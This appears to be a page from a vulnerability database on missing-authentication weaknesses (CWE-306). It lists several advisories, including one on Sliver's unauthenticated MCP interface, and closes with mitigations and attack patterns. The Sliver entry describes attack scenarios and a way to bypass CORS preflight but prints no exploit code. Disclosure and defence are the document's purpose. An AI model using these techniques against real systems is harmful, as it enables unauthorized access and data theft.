      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6FF3-JGXH-VFFJ

Vulnerability from github – Published: 2025-08-11 21:31 – Updated: 2025-08-11 23:09
VLAI
Summary
Mattermost Confluence Plugin is Missing Authentication for Critical Function
Details

Mattermost Confluence Plugin version <1.5.0 fails to check the authorization of the user to the Mattermost instance which allows attackers to create a channel subscription without proper authorization via API call to the create channel subscription endpoint.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-plugin-confluence"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-44004"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-11T23:09:14Z",
    "nvd_published_at": "2025-08-11T19:15:27Z",
    "severity": "HIGH"
  },
  "details": "Mattermost Confluence Plugin version \u003c1.5.0 fails to check the authorization of the user to the Mattermost instance which allows attackers to create a channel subscription without proper authorization via API call to the create channel subscription endpoint.",
  "id": "GHSA-6ff3-jgxh-vffj",
  "modified": "2025-08-11T23:09:14Z",
  "published": "2025-08-11T21:31:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-44004"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mattermost/mattermost-plugin-confluence"
    },
    {
      "type": "WEB",
      "url": "https://mattermost.com/security-updates"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mattermost Confluence Plugin is Missing Authentication for Critical Function"
}

GHSA-6FHX-RWXQ-VH8V

Vulnerability from github – Published: 2023-10-25 18:32 – Updated: 2023-11-06 15:30
VLAI
Details

The vulnerability allows an unprivileged user with access to the subnet of the TPC-110W device to gain a root shell on the device itself abusing the lack of authentication of the ‘su’ binary file installed on the device that can be accessed through the ADB (Android Debug Bridge) protocol exposed on the network.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-41255"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-25T18:17:30Z",
    "severity": "HIGH"
  },
  "details": "The vulnerability allows an unprivileged user with access to the subnet of the TPC-110W device to gain a root shell on the device itself abusing the lack of authentication \nof the \u2018su\u2019 binary file installed on the device that can be accessed through the ADB (Android Debug Bridge) protocol  exposed on the network.",
  "id": "GHSA-6fhx-rwxq-vh8v",
  "modified": "2023-11-06T15:30:29Z",
  "published": "2023-10-25T18:32:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41255"
    },
    {
      "type": "WEB",
      "url": "https://psirt.bosch.com/security-advisories/BOSCH-SA-175607.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6FJ2-3R4W-JJ8F

Vulnerability from github – Published: 2026-04-21 21:31 – Updated: 2026-04-21 21:31
VLAI
Details

Vulnerability in the PeopleSoft Enterprise HCM Absence Management product of Oracle PeopleSoft (component: Absence Management). The supported version that is affected is 9.2. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise HCM Absence Management. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all PeopleSoft Enterprise HCM Absence Management accessible data as well as unauthorized access to critical data or complete access to all PeopleSoft Enterprise HCM Absence Management accessible data. CVSS 3.1 Base Score 6.5 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-34266"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-21T21:16:30Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the PeopleSoft Enterprise HCM Absence Management product of Oracle PeopleSoft (component: Absence Management).   The supported version that is affected is 9.2. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise HCM Absence Management.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all PeopleSoft Enterprise HCM Absence Management accessible data as well as  unauthorized access to critical data or complete access to all PeopleSoft Enterprise HCM Absence Management accessible data. CVSS 3.1 Base Score 6.5 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N).",
  "id": "GHSA-6fj2-3r4w-jj8f",
  "modified": "2026-04-21T21:31:25Z",
  "published": "2026-04-21T21:31:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34266"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2026.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6FJX-3C25-3QRC

Vulnerability from github – Published: 2024-01-09 18:30 – Updated: 2024-01-09 18:30
VLAI
Details

Microsoft Bluetooth Driver Spoofing Vulnerability

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-21306"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-09T18:15:54Z",
    "severity": "MODERATE"
  },
  "details": "Microsoft Bluetooth Driver Spoofing Vulnerability",
  "id": "GHSA-6fjx-3c25-3qrc",
  "modified": "2024-01-09T18:30:29Z",
  "published": "2024-01-09T18:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21306"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21306"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6FPF-248C-M7WM

Vulnerability from github – Published: 2026-03-31 23:07 – Updated: 2026-03-31 23:07
VLAI
Summary
Sliver One-Click Remote Access: Insecure CORS & Unauthenticated MCP Interface
Details

A single click on a malicious link gives an unauthenticated attacker immediate, silent control over every active C2 session or beacon, capable of exfiltrating all collected target data (e.g. SSH keys, ntds.dit) or destroying the entire compromised infrastructure, entirely through the operator's own browser.

Description

The Sliver MCP server runs inside the Sliver Client and binds an unauthenticated HTTP and SSE interface to localhost:8080 by default. The service returns a permissive Access-Control-Allow-Origin: * header on all responses.

Because this server is client-side, the attack surface is distributed across every individual operator in the operation. Any arbitrary website can issue cross-origin requests and interact with the MCP interface via an operator's browser, no credentials required.

If the interface is misconfigured to bind to all interfaces (0.0.0.0), the vulnerability escalates from a client-side CSRF/CORS issue to direct, unauthenticated remote access from any actor on the network.

Exposed Methods

Exploitation grants unauthorized access to the following MCP tools: - list_sessions_and_beacons - fs_ls, fs_pwd, fs_cd - fs_cat - fs_rm, fs_mv, fs_cp, fs_mkdir - fs_chmod, fs_chown

PoC

  1. Start the Sliver client with MCP enabled (default localhost:8080)
  2. Open a browser and load a page containing the Proof of Concept JavaScript.
  3. Observe that the page successfully lists sessions and can issue filesystem commands against live implants, with no authentication

Impact Assessment

Successful exploitation results in total operational compromise. - Direct Infrastructure Exposure: If misconfigured to 0.0.0.0, the C2 framework becomes fully accessible to any actor on the network or internet without requiring operator interaction. - Information Leakage: Complete visibility into active sessions, deployed beacons, and file system structures (list_sessions_and_beacons, fs_ls, fs_pwd). - Arbitrary File Read: Covert exfiltration of any target data (e.g., SSH keys, ntds.dit) through the C2 channel (fs_cat). - Integrity & Availability Loss: Arbitrary deletion or modification of files on compromised targets, leading to potential sabotage or denial of service (fs_rm, fs_mv, fs_cp).

Severity: Critical

Attack Scenarios

Scenario 1: Data Exfiltration via Drive-by Execution (Default Localhost) An operator clicks a link to a benign-looking site hosting malicious JavaScript (e.g. via open redirect). The script executes commands against localhost:8080, retrieves the operator's target list, and silently downloads sensitive files (e.g., a target's ntds.dit) using the operator's existing C2 connections.

Scenario 2: Campaign Neutralization (Default Localhost) A malicious site lures an operator to a controlled domain. Embedded JavaScript immediately issues fs_rm commands across all active implants, mass-deleting beacons and permanently severing operator access to the target network in a single click.

Scenario 3: Direct Takeover (0.0.0.0 Misconfiguration) An operator configures the MCP interface to listen on 0.0.0.0 for team access. An external attacker scans the network, discovers the exposed port, and directly issues unauthenticated API calls to hijack active sessions, drop connections, or exfiltrate data.

Technical Root Cause

The vulnerability stems from an insecure integration with the mcp-go library. While the library hardcodes permissive CORS (Access-Control-Allow-Origin: *), it also fails to validate the Content-Type header. This allows an attacker to use Simple Requests (e.g., text/plain) to bypass the browser's CORS preflight (OPTIONS) check entirely, making the attack highly reliable across all modern browsers without any additional techniques.

Furthermore, the Sliver implementation fails to implement any authentication middleware or origin restrictions to protect the sensitive RPC interface, meaning even if the CORS behavior were corrected upstream in mcp-go, the endpoint would remain fully unauthenticated.


## Demo

https://github.com/user-attachments/assets/b18216c2-2c0b-41a2-aa39-229b3f148c24

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.7.3"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/bishopfox/sliver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34227"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-31T23:07:48Z",
    "nvd_published_at": "2026-03-31T16:16:32Z",
    "severity": "MODERATE"
  },
  "details": "A single click on a malicious link gives an unauthenticated attacker immediate, silent control over every active C2 session or beacon, capable of exfiltrating all collected target data (e.g. SSH keys, `ntds.dit`) or destroying the entire compromised infrastructure, entirely through the operator\u0027s own browser.\n\n## Description\nThe Sliver MCP server runs inside the Sliver Client and binds an unauthenticated HTTP and SSE interface to `localhost:8080` by default. The service returns a permissive `Access-Control-Allow-Origin: *` header on all responses.\n\nBecause this server is client-side, the attack surface is distributed across every individual operator in the operation. Any arbitrary website can issue cross-origin requests and interact with the MCP interface via an operator\u0027s browser, no credentials required.\n\nIf the interface is misconfigured to bind to all interfaces (`0.0.0.0`), the vulnerability escalates from a client-side CSRF/CORS issue to direct, unauthenticated remote access from any actor on the network.\n\n\n## Exposed Methods\nExploitation grants unauthorized access to the following MCP tools:\n- `list_sessions_and_beacons`\n- `fs_ls`, `fs_pwd`, `fs_cd`\n- `fs_cat`\n- `fs_rm`, `fs_mv`, `fs_cp`, `fs_mkdir`\n- `fs_chmod`, `fs_chown`\n\n## PoC \n1. Start the Sliver client with MCP enabled (default `localhost:8080`)\n2. Open a browser and load a page containing the [Proof of Concept JavaScript](https://github.com/skoveit/CVE-2026-34227).\n3. Observe that the page successfully lists sessions and can issue filesystem commands against live implants, with no authentication\n\n## Impact Assessment\nSuccessful exploitation results in total operational compromise.\n- **Direct Infrastructure Exposure:** If misconfigured to `0.0.0.0`, the C2 framework becomes fully accessible to any actor on the network or internet without requiring operator interaction.\n- **Information Leakage:** Complete visibility into active sessions, deployed beacons, and file system structures (`list_sessions_and_beacons`, `fs_ls`, `fs_pwd`).\n- **Arbitrary File Read:** Covert exfiltration of any target data (e.g., SSH keys, `ntds.dit`) through the C2 channel (`fs_cat`).\n- **Integrity \u0026 Availability Loss:** Arbitrary deletion or modification of files on compromised targets, leading to potential sabotage or denial of service (`fs_rm`, `fs_mv`, `fs_cp`).\n\n**Severity: Critical**\n\n\n\n## Attack Scenarios\n**Scenario 1: Data Exfiltration via Drive-by Execution (Default Localhost)** An operator clicks a link to a benign-looking site hosting malicious JavaScript (e.g. via open redirect). The script executes commands against `localhost:8080`, retrieves the operator\u0027s target list, and silently downloads sensitive files (e.g., a target\u0027s `ntds.dit`) using the operator\u0027s existing C2 connections.\n\n **Scenario 2: Campaign Neutralization (Default Localhost)** A malicious site lures an operator to a controlled domain. Embedded JavaScript immediately issues `fs_rm` commands across all active implants, mass-deleting beacons and permanently severing operator access to the target network in a single click.\n\n **Scenario 3: Direct Takeover (0.0.0.0 Misconfiguration)** An operator configures the MCP interface to listen on `0.0.0.0` for team access. An external attacker scans the network, discovers the exposed port, and directly issues unauthenticated API calls to hijack active sessions, drop connections, or exfiltrate data.\n \n \n## Technical Root Cause\nThe vulnerability stems from an insecure integration with the `mcp-go` library. While the library hardcodes permissive CORS (`Access-Control-Allow-Origin: *`), it also fails to validate the `Content-Type` header. This allows an attacker to use Simple Requests (e.g., `text/plain`) to bypass the browser\u0027s CORS preflight (`OPTIONS`) check entirely, making the attack highly reliable across all modern browsers without any additional techniques.\n\nFurthermore, the Sliver implementation fails to implement any authentication middleware or origin restrictions to protect the sensitive RPC interface, meaning even if the CORS behavior were corrected upstream in `mcp-go`, the endpoint would remain fully unauthenticated.\n\n\n---\n\n ## Demo\n \nhttps://github.com/user-attachments/assets/b18216c2-2c0b-41a2-aa39-229b3f148c24",
  "id": "GHSA-6fpf-248c-m7wm",
  "modified": "2026-03-31T23:07:48Z",
  "published": "2026-03-31T23:07:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/BishopFox/sliver/security/advisories/GHSA-6fpf-248c-m7wm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34227"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/BishopFox/sliver"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Sliver One-Click Remote Access: Insecure CORS \u0026 Unauthenticated MCP Interface"
}

GHSA-6G66-G3CM-GP6C

Vulnerability from github – Published: 2025-02-12 15:31 – Updated: 2025-02-12 15:31
VLAI
Details

A CWE-306 "Missing Authentication for Critical Function" in maxtime/handleRoute.lua in Q-Free MaxTime less than or equal to version 2.11.0 allows an unauthenticated remote attacker to affect the device confidentiality, integrity, or availability in multiple unspecified ways via crafted HTTP requests.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-26339"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-12T14:15:33Z",
    "severity": "CRITICAL"
  },
  "details": "A CWE-306 \"Missing Authentication for Critical Function\" in maxtime/handleRoute.lua in Q-Free MaxTime less than or equal to version 2.11.0 allows an unauthenticated remote attacker to affect the device confidentiality, integrity, or availability in multiple unspecified ways via crafted HTTP requests.",
  "id": "GHSA-6g66-g3cm-gp6c",
  "modified": "2025-02-12T15:31:59Z",
  "published": "2025-02-12T15:31:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26339"
    },
    {
      "type": "WEB",
      "url": "https://www.nozominetworks.com/labs/vulnerability-advisories-cve-2025-26339"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design
  • Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
  • Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
  • In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation
Architecture and Design
  • Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
  • In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
Implementation System Configuration Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].

CAPEC-12: Choosing Message Identifier

This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.

CAPEC-166: Force the System to Reset Values

An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.

CAPEC-216: Communication Channel Manipulation

An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.

CAPEC-36: Using Unpublished Interfaces or Functionality

An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.

CAPEC-62: Cross Site Request Forgery

An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.